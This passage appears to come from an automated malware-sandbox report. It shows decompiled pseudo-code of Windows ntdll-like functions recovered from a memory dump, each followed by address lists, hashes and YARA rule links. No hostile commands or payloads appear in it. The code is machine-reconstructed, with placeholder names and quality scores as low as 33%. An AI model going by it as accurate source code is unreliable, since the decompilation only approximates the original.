						_push( &_v44);
						_push(_v60);
						_t108 = E04B59990();
						if(_t108 < 0) {
							L10:
							_push(_v60);
							E04B595D0();
							goto L11;
						} else {
							_t109 = L04B34620(_t87,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t82 + 0x18);
							if(_t109 == 0) {
								_t108 = 0xc0000017;
								goto L10;
							} else {
								_t21 = _t109 + 0x18; // 0x18
								 *((intOrPtr*)(_t109 + 4)) = _v60;
								 *_t109 = 1;
								 *((intOrPtr*)(_t109 + 0x10)) = _t21;
								 *(_t109 + 0xe) = _t82;
								 *((intOrPtr*)(_t109 + 8)) = _v56;
								 *((intOrPtr*)(_t109 + 0x14)) = _v32;
								E04B5F3E0(_t21, _t103[2],  *_t103 & 0x0000ffff);
								 *((short*)( *((intOrPtr*)(_t109 + 0x10)) + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
								 *((short*)(_t109 + 0xc)) =  *_t103;
								_t91 =  *_t103 & 0x0000ffff;
								_t100 = _t91 & 0xfffffffe;
								_t84 = 0x5c;
								if( *((intOrPtr*)(_t103[2] + _t100 - 2)) != _t84) {
									if(_t91 + 4 > ( *(_t109 + 0xe) & 0x0000ffff)) {
										_push(_v60);
										E04B595D0();
										L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t109);
										_t51 = 0xc0000106;
									} else {
										 *((short*)(_t100 +  *((intOrPtr*)(_t109 + 0x10)))) = _t84;
										 *((short*)( *((intOrPtr*)(_t109 + 0x10)) + 2 + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
										 *((short*)(_t109 + 0xc)) =  *((short*)(_t109 + 0xc)) + 2;
										goto L5;
									}
								} else {
									L5:
									 *_a4 = _t109;
									_t51 = 0;
								}
							}
						}
					}
				}
				return _t51;
			}

0x04b4f0d3
0x04b4f0d9
0x04b4f0e0
0x04b4f0e7
0x04b4f0f2
0x04b4f0f4
0x04b4f0f8
0x04b4f100
0x04b4f108
0x04b4f10d
0x04b4f115
0x04b4f116
0x04b4f11f
0x04b4f123
0x04b4f124
0x04b4f12c
0x04b4f130
0x04b4f134
0x04b4f13d
0x04b4f144
0x04b4f14b
0x04b4f152
0x04b8bab0
0x04b8bab0
0x04b4f158
0x04b4f158
0x04b4f15a
0x04b4f160
0x04b4f165
0x04b4f166
0x04b4f16f
0x04b4f173
0x04b8baa7
0x04b8baa7
0x04b8baab
0x00000000
0x04b4f179
0x04b4f18d
0x04b4f191
0x04b8baa2
0x00000000
0x04b4f197
0x04b4f19b
0x04b4f1a2
0x04b4f1a9
0x04b4f1af
0x04b4f1b2
0x04b4f1b6
0x04b4f1b9
0x04b4f1c4
0x04b4f1d8
0x04b4f1df
0x04b4f1e3
0x04b4f1eb
0x04b4f1ee
0x04b4f1f4
0x04b4f20f
0x04b8bab7
0x04b8babb
0x04b8bacc
0x04b8bad1
0x04b4f215
0x04b4f218
0x04b4f226
0x04b4f22b
0x00000000
0x04b4f22b
0x04b4f1f6
0x04b4f1f6
0x04b4f1f9
0x04b4f1fb
0x04b4f1fb
0x04b4f1f4
0x04b4f191
0x04b4f173
0x04b4f152
0x04b4f203

Strings

@, xrefs: 04B4F124

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction ID: 511a00417c9144fd04808f69a30cf704f9110f3f48864ce560e7984e5d478ba4
Opcode Fuzzy Hash: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction Fuzzy Hash: 35517D716047109FD320DF29C840A6BBBF8FF88714F00896DF995976A0E7B4E914CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04B93540, Relevance: 1.4, Strings: 1, Instructions: 130
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E04B93540(intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v88;
				intOrPtr _v92;
				char _v96;
				char _v352;
				char _v1072;
				intOrPtr _v1140;
				intOrPtr _v1148;
				char _v1152;
				char _v1156;
				char _v1160;
				char _v1164;
				char _v1168;
				char* _v1172;
				short _v1174;
				char _v1176;
				char _v1180;
				char _v1192;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				short _t41;
				short _t42;
				intOrPtr _t80;
				intOrPtr _t81;
				signed int _t82;
				void* _t83;

				_v12 =  *0x4c0d360 ^ _t82;
				_t41 = 0x14;
				_v1176 = _t41;
				_t42 = 0x16;
				_v1174 = _t42;
				_v1164 = 0x100;
				_v1172 = L"BinaryHash";
				_t81 = E04B50BE0(0xfffffffc,  &_v352,  &_v1164, 0, 0, 0,  &_v1192);
				if(_t81 < 0) {
					L11:
					_t75 = _t81;
					E04B93706(0, _t81, _t79, _t80);
					L12:
					if(_a4 != 0xc000047f) {
						E04B5FA60( &_v1152, 0, 0x50);
						_v1152 = 0x60c201e;
						_v1148 = 1;
						_v1140 = E04B93540;
						E04B5FA60( &_v1072, 0, 0x2cc);
						_push( &_v1072);
						E04B6DDD0( &_v1072, _t75, _t79, _t80, _t81);
						E04BA0C30(0, _t75, _t80,  &_v1152,  &_v1072, 2);
						_push(_v1152);
						_push(0xffffffff);
						E04B597C0();
					}
					return E04B5B640(0xc0000135, 0, _v12 ^ _t82, _t79, _t80, _t81);
				}
				_t79 =  &_v352;
				_t81 = E04B93971(0, _a4,  &_v352,  &_v1156);
				if(_t81 < 0) {
					goto L11;
				}
				_t75 = _v1156;
				_t79 =  &_v1160;
				_t81 = E04B93884(_v1156,  &_v1160,  &_v1168);
				if(_t81 >= 0) {
					_t80 = _v1160;
					E04B5FA60( &_v96, 0, 0x50);
					_t83 = _t83 + 0xc;
					_push( &_v1180);
					_push(0x50);
					_push( &_v96);
					_push(2);
					_push( &_v1176);
					_push(_v1156);
					_t81 = E04B59650();
					if(_t81 >= 0) {
						if(_v92 != 3 || _v88 == 0) {
							_t81 = 0xc000090b;
						}
						if(_t81 >= 0) {
							_t75 = _a4;
							_t79 =  &_v352;
							E04B93787(_a4,  &_v352, _t80);
						}
					}
					L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v1168);
				}
				_push(_v1156);
				E04B595D0();
				if(_t81 >= 0) {
					goto L12;
				} else {
					goto L11;
				}
			}

0x04b93552
0x04b9355a
0x04b9355d
0x04b93566
0x04b93567
0x04b9357e
0x04b9358f
0x04b935a1
0x04b935a5
0x04b9366b
0x04b9366b
0x04b9366d
0x04b93672
0x04b93679
0x04b93685
0x04b9368d
0x04b9369d
0x04b936a7
0x04b936b8
0x04b936c6
0x04b936c7
0x04b936dc
0x04b936e1
0x04b936e7
0x04b936e9
0x04b936e9
0x04b93703
0x04b93703
0x04b935b5
0x04b935c0
0x04b935c4
0x00000000
0x00000000
0x04b935ca
0x04b935d7
0x04b935e2
0x04b935e6
0x04b935e8
0x04b935f5
0x04b935fa
0x04b93603
0x04b93604
0x04b93609
0x04b9360a
0x04b93612
0x04b93613
0x04b9361e
0x04b93622
0x04b93628
0x04b9362f
0x04b9362f
0x04b93636
0x04b93638
0x04b9363b
0x04b93642
0x04b93642
0x04b93636
0x04b93657
0x04b93657
0x04b9365c
0x04b93662
0x04b93669
0x00000000
0x00000000
0x00000000
0x00000000

Strings

BinaryHash, xrefs: 04B9358F

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID: BinaryHash
API String ID: 2994545307-2202222882
Opcode ID: 46096a78c33ed63c3e0262919059053db0fa84907c1a1e575aa5f7fa8fd5bf8d
Instruction ID: 7639af2afdc0ec88cac062f6d8ecbffe3b3818db3e2446615ab262a009ef7494
Opcode Fuzzy Hash: 46096a78c33ed63c3e0262919059053db0fa84907c1a1e575aa5f7fa8fd5bf8d
Instruction Fuzzy Hash: 6C4144B1D0452C9BEF21DA50CC84FAEB7BCAB44718F0045E5EA19A7250DB30AE898F95

Uniqueness

Uniqueness Score: -1.00%

Function 04BE05AC, Relevance: 1.4, Strings: 1, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E04BE05AC(signed int* __ecx, signed int __edx, void* __eflags, signed int _a4, signed int _a8) {
				signed int _v20;
				char _v24;
				signed int _v28;
				char _v32;
				signed int _v36;
				intOrPtr _v40;
				void* __ebx;
				void* _t35;
				signed int _t42;
				char* _t48;
				signed int _t59;
				signed char _t61;
				signed int* _t79;
				void* _t88;

				_v28 = __edx;
				_t79 = __ecx;
				if(E04BE07DF(__ecx, __edx,  &_a4,  &_a8, 0) == 0) {
					L13:
					_t35 = 0;
					L14:
					return _t35;
				}
				_t61 = __ecx[1];
				_t59 = __ecx[0xf];
				_v32 = (_a4 << 0xc) + (__edx - ( *__ecx & __edx) >> 4 << _t61) + ( *__ecx & __edx);
				_v36 = _a8 << 0xc;
				_t42 =  *(_t59 + 0xc) & 0x40000000;
				asm("sbb esi, esi");
				_t88 = ( ~_t42 & 0x0000003c) + 4;
				if(_t42 != 0) {
					_push(0);
					_push(0x14);
					_push( &_v24);
					_push(3);
					_push(_t59);
					_push(0xffffffff);
					if(E04B59730() < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t59) {
						_push(_t61);
						E04BDA80D(_t59, 1, _v20, 0);
						_t88 = 4;
					}
				}
				_t35 = E04BDA854( &_v32,  &_v36, 0, 0x1000, _t88, 0,  *((intOrPtr*)(_t79 + 0x34)),  *((intOrPtr*)(_t79 + 0x38)));
				if(_t35 < 0) {
					goto L14;
				}
				E04BE1293(_t79, _v40, E04BE07DF(_t79, _v28,  &_a4,  &_a8, 1));
				if(E04B37D50() == 0) {
					_t48 = 0x7ffe0380;
				} else {
					_t48 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				if( *_t48 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
					E04BD138A(_t59,  *((intOrPtr*)(_t79 + 0x3c)), _v32, _v36, 0xa);
				}
				goto L13;
			}

0x04be05c5
0x04be05ca
0x04be05d3
0x04be06db
0x04be06db
0x04be06dd
0x04be06e3
0x04be06e3
0x04be05dd
0x04be05e7
0x04be05f6
0x04be0600
0x04be0607
0x04be0610
0x04be0615
0x04be061a
0x04be061c
0x04be061e
0x04be0624
0x04be0625
0x04be0627
0x04be0628
0x04be0631
0x04be0640
0x04be064d
0x04be0654
0x04be0654
0x04be0631
0x04be066d
0x04be0674
0x00000000
0x00000000
0x04be0692
0x04be069e
0x04be06b0
0x04be06a0
0x04be06a9
0x04be06a9
0x04be06b8
0x04be06d6
0x04be06d6
0x00000000

Strings

`, xrefs: 04BE0633

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 39b8bc2de1f442ef1f569125be10905dd0dd778863a6d43cfec09233fd0d58f3
Instruction ID: 29de4164740ad5923e215ce60b49d9909f7847564344ea63f768f995df0de07c
Opcode Fuzzy Hash: 39b8bc2de1f442ef1f569125be10905dd0dd778863a6d43cfec09233fd0d58f3
Instruction Fuzzy Hash: FD31E232200355AFE720EE66CC44FA67B99EBC4758F0442A9F954AB280E7B0F904CB91

Uniqueness

Uniqueness Score: -1.00%

Function 04B93884, Relevance: 1.3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E04B93884(intOrPtr __ecx, intOrPtr* __edx, intOrPtr* _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				char* _v20;
				short _v22;
				char _v24;
				intOrPtr _t38;
				short _t40;
				short _t41;
				void* _t44;
				intOrPtr _t47;
				void* _t48;

				_v16 = __edx;
				_t40 = 0x14;
				_v24 = _t40;
				_t41 = 0x16;
				_v22 = _t41;
				_t38 = 0;
				_v12 = __ecx;
				_push( &_v8);
				_push(0);
				_push(0);
				_push(2);
				_t43 =  &_v24;
				_v20 = L"BinaryName";
				_push( &_v24);
				_push(__ecx);
				_t47 = 0;
				_t48 = E04B59650();
				if(_t48 >= 0) {
					_t48 = 0xc000090b;
				}
				if(_t48 != 0xc0000023) {
					_t44 = 0;
					L13:
					if(_t48 < 0) {
						L16:
						if(_t47 != 0) {
							L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t44, _t47);
						}
						L18:
						return _t48;
					}
					 *_v16 = _t38;
					 *_a4 = _t47;
					goto L18;
				}
				_t47 = L04B34620(_t43,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v8);
				if(_t47 != 0) {
					_push( &_v8);
					_push(_v8);
					_push(_t47);
					_push(2);
					_push( &_v24);
					_push(_v12);
					_t48 = E04B59650();
					if(_t48 < 0) {
						_t44 = 0;
						goto L16;
					}
					if( *((intOrPtr*)(_t47 + 4)) != 1 ||  *(_t47 + 8) < 4) {
						_t48 = 0xc000090b;
					}
					_t44 = 0;
					if(_t48 < 0) {
						goto L16;
					} else {
						_t17 = _t47 + 0xc; // 0xc
						_t38 = _t17;
						if( *((intOrPtr*)(_t38 + ( *(_t47 + 8) >> 1) * 2 - 2)) != 0) {
							_t48 = 0xc000090b;
						}
						goto L13;
					}
				}
				_t48 = _t48 + 0xfffffff4;
				goto L18;
			}

0x04b93893
0x04b93896
0x04b93899
0x04b9389f
0x04b938a0
0x04b938a4
0x04b938a9
0x04b938ac
0x04b938ad
0x04b938ae
0x04b938af
0x04b938b1
0x04b938b4
0x04b938bb
0x04b938bc
0x04b938bd
0x04b938c4
0x04b938c8
0x04b938ca
0x04b938ca
0x04b938d5
0x04b9393e
0x04b93940
0x04b93942
0x04b93952
0x04b93954
0x04b93961
0x04b93961
0x04b93967
0x04b9396e
0x04b9396e
0x04b93947
0x04b9394c
0x00000000
0x04b9394c
0x04b938ea
0x04b938ee
0x04b938f8
0x04b938f9
0x04b938ff
0x04b93900
0x04b93902
0x04b93903
0x04b9390b
0x04b9390f
0x04b93950
0x00000000
0x04b93950
0x04b93915
0x04b9391d
0x04b9391d
0x04b93922
0x04b93926
0x00000000
0x04b93928
0x04b9392b
0x04b9392b
0x04b93935
0x04b93937
0x04b93937
0x00000000
0x04b93935
0x04b93926
0x04b938f0
0x00000000

Strings

BinaryName, xrefs: 04B938B4

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID: BinaryName
API String ID: 2994545307-215506332
Opcode ID: 3f8a55b77423f4b2f3786193c070dd246e15702c78440d4bce8b9975991bcfd0
Instruction ID: e96eaa2c218bf0db186f7ef2b3f13e5c61cee77f4ec32677c5f8ad822a776805
Opcode Fuzzy Hash: 3f8a55b77423f4b2f3786193c070dd246e15702c78440d4bce8b9975991bcfd0
Instruction Fuzzy Hash: 7C31DF72900519AFEF259B59C945E6BB7F4EB98B20F0141B9ED16A7690D730AE00C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 04B4D294, Relevance: 1.3, Strings: 1, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E04B4D294(void* __ecx, char __edx, void* __eflags) {
				signed int _v8;
				char _v52;
				signed int _v56;
				signed int _v60;
				intOrPtr _v64;
				char* _v68;
				intOrPtr _v72;
				char _v76;
				signed int _v84;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				char _v104;
				char _v105;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t35;
				char _t38;
				signed int _t40;
				signed int _t44;
				signed int _t52;
				void* _t53;
				void* _t55;
				void* _t61;
				intOrPtr _t62;
				void* _t64;
				signed int _t65;
				signed int _t66;

				_t68 = (_t66 & 0xfffffff8) - 0x6c;
				_v8 =  *0x4c0d360 ^ (_t66 & 0xfffffff8) - 0x0000006c;
				_v105 = __edx;
				_push( &_v92);
				_t52 = 0;
				_push(0);
				_push(0);
				_push( &_v104);
				_push(0);
				_t59 = __ecx;
				_t55 = 2;
				if(E04B34120(_t55, __ecx) < 0) {
					_t35 = 0;
					L8:
					_pop(_t61);
					_pop(_t64);
					_pop(_t53);
					return E04B5B640(_t35, _t53, _v8 ^ _t68, _t59, _t61, _t64);
				}
				_v96 = _v100;
				_t38 = _v92;
				if(_t38 != 0) {
					_v104 = _t38;
					_v100 = _v88;
					_t40 = _v84;
				} else {
					_t40 = 0;
				}
				_v72 = _t40;
				_v68 =  &_v104;
				_push( &_v52);
				_v76 = 0x18;
				_push( &_v76);
				_v64 = 0x40;
				_v60 = _t52;
				_v56 = _t52;
				_t44 = E04B598D0();
				_t62 = _v88;
				_t65 = _t44;
				if(_t62 != 0) {
					asm("lock xadd [edi], eax");
					if((_t44 | 0xffffffff) != 0) {
						goto L4;
					}
					_push( *((intOrPtr*)(_t62 + 4)));
					E04B595D0();
					L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t52, _t62);
					goto L4;
				} else {
					L4:
					L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t52, _v96);
					if(_t65 >= 0) {
						_t52 = 1;
					} else {
						if(_t65 == 0xc0000043 || _t65 == 0xc0000022) {
							_t52 = _t52 & 0xffffff00 | _v105 != _t52;
						}
					}
					_t35 = _t52;
					goto L8;
				}
			}

0x04b4d29c
0x04b4d2a6
0x04b4d2b1
0x04b4d2b5
0x04b4d2b6
0x04b4d2bc
0x04b4d2bd
0x04b4d2be
0x04b4d2bf
0x04b4d2c2
0x04b4d2c4
0x04b4d2cc
0x04b4d384
0x04b4d34b
0x04b4d34f
0x04b4d350
0x04b4d351
0x04b4d35c
0x04b4d35c
0x04b4d2d6
0x04b4d2da
0x04b4d2e1
0x04b4d361
0x04b4d369
0x04b4d36d
0x04b4d2e3
0x04b4d2e3
0x04b4d2e3
0x04b4d2e5
0x04b4d2ed
0x04b4d2f5
0x04b4d2fa
0x04b4d302
0x04b4d303
0x04b4d30b
0x04b4d30f
0x04b4d313
0x04b4d318
0x04b4d31c
0x04b4d320
0x04b4d379
0x04b4d37d
0x00000000
0x00000000
0x04b8affe
0x04b8b001
0x04b8b011
0x00000000
0x04b4d322
0x04b4d322
0x04b4d330
0x04b4d337
0x04b4d35d
0x04b4d339
0x04b4d33f
0x04b4d38c
0x04b4d38c
0x04b4d33f
0x04b4d349
0x00000000
0x04b4d349

Strings

@, xrefs: 04B4D303

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 9d60310fef6831993a975f16f41e3d56871d18bd59279751d38c1995c99fc3d0
Instruction ID: 86e49891650ce7b61ad08232b6e462b1203529de770cad3e5944ace417f49399
Opcode Fuzzy Hash: 9d60310fef6831993a975f16f41e3d56871d18bd59279751d38c1995c99fc3d0
Instruction Fuzzy Hash: 543193B1608305DFD711DF28C980A5BBBECEBC5754F0009AEF99583210E638ED04EB92

Uniqueness

Uniqueness Score: -1.00%

Function 04B21B8F, Relevance: 1.3, Strings: 1, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E04B21B8F(void* __ecx, intOrPtr __edx, intOrPtr* _a4, signed int* _a8) {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _t26;
				intOrPtr _t29;
				void* _t30;
				signed int _t31;

				_t27 = __ecx;
				_t29 = __edx;
				_t31 = 0;
				_v8 = __edx;
				if(__edx == 0) {
					L18:
					_t30 = 0xc000000d;
					goto L12;
				} else {
					_t26 = _a4;
					if(_t26 == 0 || _a8 == 0 || __ecx == 0) {
						goto L18;
					} else {
						E04B5BB40(__ecx,  &_v16, __ecx);
						_push(_t26);
						_push(0);
						_push(0);
						_push(_t29);
						_push( &_v16);
						_t30 = E04B5A9B0();
						if(_t30 >= 0) {
							_t19 =  *_t26;
							if( *_t26 != 0) {
								goto L7;
							} else {
								 *_a8 =  *_a8 & 0;
							}
						} else {
							if(_t30 != 0xc0000023) {
								L9:
								_push(_t26);
								_push( *_t26);
								_push(_t31);
								_push(_v8);
								_push( &_v16);
								_t30 = E04B5A9B0();
								if(_t30 < 0) {
									L12:
									if(_t31 != 0) {
										L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t31);
									}
								} else {
									 *_a8 = _t31;
								}
							} else {
								_t19 =  *_t26;
								if( *_t26 == 0) {
									_t31 = 0;
								} else {
									L7:
									_t31 = L04B34620(_t27,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t19);
								}
								if(_t31 == 0) {
									_t30 = 0xc0000017;
								} else {
									goto L9;
								}
							}
						}
					}
				}
				return _t30;
			}

0x04b21b8f
0x04b21b9a
0x04b21b9c
0x04b21b9e
0x04b21ba3
0x04b77010
0x04b77010
0x00000000
0x04b21ba9
0x04b21ba9
0x04b21bae
0x00000000
0x04b21bc5
0x04b21bca
0x04b21bcf
0x04b21bd0
0x04b21bd1
0x04b21bd2
0x04b21bd6
0x04b21bdc
0x04b21be0
0x04b76ffc
0x04b77000
0x00000000
0x04b77006
0x04b77009
0x04b77009
0x04b21be6
0x04b21bec
0x04b21c0b
0x04b21c0b
0x04b21c0c
0x04b21c11
0x04b21c12
0x04b21c15
0x04b21c1b
0x04b21c1f
0x04b21c31
0x04b21c33
0x04b77026
0x04b77026
0x04b21c21
0x04b21c24
0x04b21c24
0x04b21bee
0x04b21bee
0x04b21bf2
0x04b21c3a
0x04b21bf4
0x04b21bf4
0x04b21c05
0x04b21c05
0x04b21c09
0x04b21c3e
0x00000000
0x00000000
0x00000000
0x04b21c09
0x04b21bec
0x04b21be0
0x04b21bae
0x04b21c2e

Strings

WindowsExcludedProcs, xrefs: 04B21BC5

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: WindowsExcludedProcs
API String ID: 0-3583428290
Opcode ID: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
Instruction ID: 764479c106658e356c94194c5f542f815e3e23d11103fa31be899e468bd6ea03
Opcode Fuzzy Hash: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
Instruction Fuzzy Hash: 4821B37A601638ABDB219E9D8A40F5FB7ADEB45750F1544E5FD189F200EA30FD0097E1

Uniqueness

Uniqueness Score: -1.00%

Function 04B3F716, Relevance: 1.3, Strings: 1, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04B3F716(signed int __ecx, void* __edx, intOrPtr _a4, intOrPtr* _a8) {
				intOrPtr _t13;
				intOrPtr _t14;
				signed int _t16;
				signed char _t17;
				intOrPtr _t19;
				intOrPtr _t21;
				intOrPtr _t23;
				intOrPtr* _t25;

				_t25 = _a8;
				_t17 = __ecx;
				if(_t25 == 0) {
					_t19 = 0xc00000f2;
					L8:
					return _t19;
				}
				if((__ecx & 0xfffffffe) != 0) {
					_t19 = 0xc00000ef;
					goto L8;
				}
				_t19 = 0;
				 *_t25 = 0;
				_t21 = 0;
				_t23 = "Actx ";
				if(__edx != 0) {
					if(__edx == 0xfffffffc) {
						L21:
						_t21 = 0x200;
						L5:
						_t13 =  *((intOrPtr*)( *[fs:0x30] + _t21));
						 *_t25 = _t13;
						L6:
						if(_t13 == 0) {
							if((_t17 & 0x00000001) != 0) {
								 *_t25 = _t23;
							}
						}
						L7:
						goto L8;
					}
					if(__edx == 0xfffffffd) {
						 *_t25 = _t23;
						_t13 = _t23;
						goto L6;
					}
					_t13 =  *((intOrPtr*)(__edx + 0x10));
					 *_t25 = _t13;
					L14:
					if(_t21 == 0) {
						goto L6;
					}
					goto L5;
				}
				_t14 = _a4;
				if(_t14 != 0) {
					_t16 =  *(_t14 + 0x14) & 0x00000007;
					if(_t16 <= 1) {
						_t21 = 0x1f8;
						_t13 = 0;
						goto L14;
					}
					if(_t16 == 2) {
						goto L21;
					}
					if(_t16 != 4) {
						_t19 = 0xc00000f0;
						goto L7;
					}
					_t13 = 0;
					goto L6;
				} else {
					_t21 = 0x1f8;
					goto L5;
				}
			}

0x04b3f71d
0x04b3f722
0x04b3f726
0x04b84770
0x04b3f765
0x04b3f769
0x04b3f769
0x04b3f732
0x04b8477a
0x00000000
0x04b8477a
0x04b3f738
0x04b3f73a
0x04b3f73c
0x04b3f73f
0x04b3f746
0x04b3f778
0x04b3f7a9
0x04b3f7a9
0x04b3f754
0x04b3f75a
0x04b3f75d
0x04b3f75f
0x04b3f761
0x04b3f76f
0x04b3f771
0x04b3f771
0x04b3f76f
0x04b3f763
0x00000000
0x04b3f763
0x04b3f77d
0x04b3f7a3
0x04b3f7a5
0x00000000
0x04b3f7a5
0x04b3f77f
0x04b3f782
0x04b3f784
0x04b3f786
0x00000000
0x00000000
0x00000000
0x04b3f788
0x04b3f748
0x04b3f74d
0x04b3f78d
0x04b3f793
0x04b3f7b7
0x04b3f7bc
0x00000000
0x04b3f7bc
0x04b3f798
0x00000000
0x00000000
0x04b3f79d
0x04b3f7b0
0x00000000
0x04b3f7b0
0x04b3f79f
0x00000000
0x04b3f74f
0x04b3f74f
0x00000000
0x04b3f74f

Strings

Actx , xrefs: 04B3F73F

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: Actx
API String ID: 0-89312691
Opcode ID: afd574181ccc43354cccd0b315f06d24489e00a55b09c581857d11d73d603bf7
Instruction ID: f01b76d8f7a78bdd158f86629769f3e0583aa42d378777caf621297bc51ab3ba
Opcode Fuzzy Hash: afd574181ccc43354cccd0b315f06d24489e00a55b09c581857d11d73d603bf7
Instruction Fuzzy Hash: A311B239F04702DBEB244E1F8890B367295EB85766F2445BAE865CB391FB70F8418340

Uniqueness

Uniqueness Score: -1.00%

Function 04BC8DF1, Relevance: 1.3, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E04BC8DF1(void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t35;
				void* _t41;

				_t40 = __esi;
				_t39 = __edi;
				_t38 = __edx;
				_t35 = __ecx;
				_t34 = __ebx;
				_push(0x74);
				_push(0x4bf0d50);
				E04B6D0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t41 - 0x7c)) = __edx;
				 *((intOrPtr*)(_t41 - 0x74)) = __ecx;
				if( *((intOrPtr*)( *[fs:0x30] + 2)) != 0 || ( *0x7ffe02d4 & 0 | ( *0x7ffe02d4 & 0x00000003) == 0x00000003) != 0) {
					E04BA5720(0x65, 0, "Critical error detected %lx\n", _t35);
					if( *((intOrPtr*)(_t41 + 8)) != 0) {
						 *(_t41 - 4) =  *(_t41 - 4) & 0x00000000;
						asm("int3");
						 *(_t41 - 4) = 0xfffffffe;
					}
				}
				 *(_t41 - 4) = 1;
				 *((intOrPtr*)(_t41 - 0x70)) =  *((intOrPtr*)(_t41 - 0x74));
				 *((intOrPtr*)(_t41 - 0x6c)) = 1;
				 *(_t41 - 0x68) =  *(_t41 - 0x68) & 0x00000000;
				 *((intOrPtr*)(_t41 - 0x64)) = L04B6DEF0;
				 *((intOrPtr*)(_t41 - 0x60)) = 1;
				 *((intOrPtr*)(_t41 - 0x5c)) =  *((intOrPtr*)(_t41 - 0x7c));
				_push(_t41 - 0x70);
				L04B6DEF0(1, _t38);
				 *(_t41 - 4) = 0xfffffffe;
				return E04B6D130(_t34, _t39, _t40);
			}

0x04bc8df1
0x04bc8df1
0x04bc8df1
0x04bc8df1
0x04bc8df1
0x04bc8df1
0x04bc8df3
0x04bc8df8
0x04bc8dfd
0x04bc8e00
0x04bc8e0e
0x04bc8e2a
0x04bc8e36
0x04bc8e38
0x04bc8e3c
0x04bc8e46
0x04bc8e46
0x04bc8e36
0x04bc8e50
0x04bc8e56
0x04bc8e59
0x04bc8e5c
0x04bc8e60
0x04bc8e67
0x04bc8e6d
0x04bc8e73
0x04bc8e74
0x04bc8eb1
0x04bc8ebd

Strings

Critical error detected %lx, xrefs: 04BC8E21

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
